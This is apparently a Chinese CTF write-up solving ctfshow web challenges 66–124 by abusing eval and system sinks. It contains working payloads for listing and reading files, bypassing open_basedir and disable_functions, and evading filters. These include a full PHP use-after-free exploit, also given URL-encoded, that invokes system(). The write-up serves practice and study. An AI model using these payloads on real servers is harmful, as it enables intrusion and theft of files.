$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

觉得还是一样,果断c=highlight_file("flag.php");,但是这次flag不在flag.php了

image-20250303231510683

重新查找含flag的文件

c=print_r(scandir("/"));
c=print_r(scandir(dirname('FILE')));
解释一下,这两个语句意思是列出指定目录下的所有文件和文件夹
dirname('FILE'):获取'FILE'所在目录的路径
scandir():读取目录中的文件和文件夹,返回一个数组
print_r():以可读格式打印数组内容,并赋值给变量$c

image-20250303231758391

看到根目录下flag.txt,直接读取

c=highlight_file("/flag.txt");
c=include($_POST[123]);&123=php://filter/resource=/flag.txt

image-20250303231908175

image-20250303232017691

web67(禁用print_r)

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

尝试c=print_r(scandir("/"));,结果print_r被禁用了

image-20250304211918804

用var_dump输出

c=var_dump(scandir("/"));

image-20250304212007301

还是flag.txt

c=include($_POST[a]);&a=php://filter/resource=/flag.txt
c=highlight_file("/flag.txt");

web68(+highlight_file)

这一次直接把highlight_file也禁用了,导致源码都看不到,但是还是先尝试找文件

c=var_dump(scandir("/"));  //flag.txt
c=include($_POST[a]);&a=php://filter/resource=/flag.txt
c=readgzfile("/flag.txt");

web69(+var_dump)

var_export代替即可

c=var_export(scandir("/"));  //flag.txt
c=include($_POST[a]);&a=php://filter/resource=/flag.txt
c=readgzfile("/flag.txt");

web70(+error_reporting)

又禁用几个函数,但是影响不大,直接同上

web71(输出中过滤数字字母)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

你要上天吗?

给了源码,将输出中数字和字母替换为问号

image-20250304213520809

通过exit()/die()提前结束程序

c=var_export(scandir('/'));exit();
c=include("/flag.txt");die();

web72(同上)

c=var_export(scandir('/'));exit();不能正常使用

猜测是开启了open_basedir。

open_basedir可将用户访问文件的活动范围限制在指定的区域,通常是其家目录的路径。

所以要先绕过open_basedir。首先排除命令执行绕过的可能,disable_function已经禁用了命令执行函数(不知道有没有什么办法绕过)。可以使用glob伪协议绕过,glob伪协议筛选目录不受open_basedir的制约。

c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." " ;
}

exit();

通过这个命令找到flag文件为flag0.txt,然后通过UAF脚本读取就行(虽然但是,这个真不会),注意脚本要url编码后使用

<?php

function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

最终payload

c=%0Afunction%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E%0A

image-20250304214716915

web73-74(可用include)

先找文件

c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." " ;
}

exit();

也可以使用c=var_export(glob('../../../*'));exit();或者c=var_export(glob('../../..'.'/*'));exit();

和之前的差别是可以通过include读取文件

c=include('/flagc.txt');die();  //73
c=include('/flagx.txt');die(); //74

web75-76(PDO进行sql查询)

依旧是用glob伪协议读取根目录,但是include()又不能用了,从大佬的wp学习了一下,这题的思路是通过PDO(PHP操作多种数据库的统一接口)对数据库进行访问,执行SQL语句得到flag。

c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36d.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);

首先连接数据库,然后使用foreach遍历query()函数(作用:发送一条MYSQL查询)返回的结果,并且输出结果,再下面的就是输出报错信息了。

web77(FFI调用c中system函数)

c=var_export(scandir("/"));

先尝试输出文件,结果还是被替换了

image-20250305115323924

c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." " ;
}

exit(); //flag36x.txt

再尝试包含文件,结果失败了,看看wp

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。通过FFI,可以实现调用system函数,从而将flag直接写入一个新建的文本文件中,然后访问这个文本文件,获得flag。注意:php7.4以上才有

c=$ffi = FFI::cdef("int system(const char *command);"); $a='/readflag > 1.txt'; $ffi->system($a); exit(); 
解释
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

然后再读该文件就行

c=readgzfile("1.txt");exit;

总结

列出文件

c=print_r(scandir("/"));         //根目录
c=print_r(scandir(dirname('FILE'))); //当前目录
c=var_dump(scandir("/"));
c=var_export(scandir("/"));

读取文件

c=system("cat flag.php");
c=$'\164\141\143' $'\146\154\141\147\56\160\150\160' //原始为c=$'cat' $'flag/php'
c=data://text/plain,<?php system("tac flag.php");?>
c=include($_POST[a]);&a=php://filter/resource=flag.php
c=include($_POST[a]);&a=php://filter/read=convert.base64-encode/resource=flag.php
c=highlight_file("flag.php");
c=readgzfile("flag.php");
c=show_source("flag.php");

web118(环境变量绕过)

先提示了flag在flag.php中,在环境源码中看到注释<!-- system($code);-->,因此直接命令执行,但是一直回显eval input,看wp发现过滤了小写字母和数字,该题通过环境变量绕过

参考另一篇文章linux基础,里面提及了要使用的环境变量

所以可以利用各个环境变量的最后一位来构造命令。${PWD}在这题肯定是/var/www/html,而${PATH}通常是bin,那么${PWD:~A}的结果就应该是'l',因为${PATH:~A}的结果是'n',那么他们拼接在一起正好是nl,能够读取flag,因为通配符没有被过滤,所以可以用通配符代替flag.php
code=${PATH:~A}${PWD:~A} ????.???

在源码中找到flag

image-20250305125636174

web119(过滤path)

法一

可以构造出/bin/base64 flag.php,只需要/和4两个字符就行,其他的可以用通配符代替。
/很简单,pwd的第一位就是,因为这题ban了数字,所以可以用该题值必是1的$=$代替

code=${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???  //原始为/bin/base64 flag.php
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.??? //原始为/bin/rev flag.php,有一种输出方法叫:rev,其目录在/bin/rev; 他的作用是逆序输出,得到结果再逆序回来就好,蛮好用的; ${PWD:${#IFS}:${##}}在/var/www/html可以取第四位,刚好是r,然后后面用通配符匹配一下;

image-20250305132612692

web122(+#|PWD)

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}

?>

PWD的绕过很简单,用HOME就可以,而#就要用到$?

$? 执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)

所以在使用$?之前要先给错误的命令 让$?的值为1,${}<A可以但是这个题目${}不可以
所以用<A,后边的数字4还是用RANDOM随机数来获取

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???  //原始为/bin/base64 flag.php

挺非的,至少刷了二十多次才出来

web124(数学函数白名单,动态构造)

<?php

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

假设我们要构造出如下表达式
c=$_GET[a]($_GET[b])&a=system&b=cat flag
我们需要构造的是其实只有_GET,$我们可使用,中括号可用花括号代替,小括号也是可以使用的。这时候我们想到了一个办法,如果可以构造出hex2bin函数就可以将16进制转换成字符串了。我们又可以用decoct将10进制转换成16进制。也就是可以将10进制转换成字符串。
那么问题来了,hex2bin怎么构造呢,这时候就需要用到base_convert了。
我们发现36进制中包含了所有的数字和字母,所有只需要将hex2bin按照36进制转换成10进制就可以了。

base_convert('hex2bin', 36, 10);       //结果37907361743,hex2bin转十进制
base_convert('37907361743',10,36); //结果hex2bin,37907361743转36进制即字符
hexdec(bin2hex("_GET")); //结果 1598506324,_GET即36进制转十六进制再转十进制
base_convert('37907361743',10,36)(dechex('1598506324')); //结果_GET,1598506324转十六进制再转36进制即字符
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=ls             //原始为c=$pi=_GET;$$pi{abs}($$pi{acos})&abs=system&acos=ls
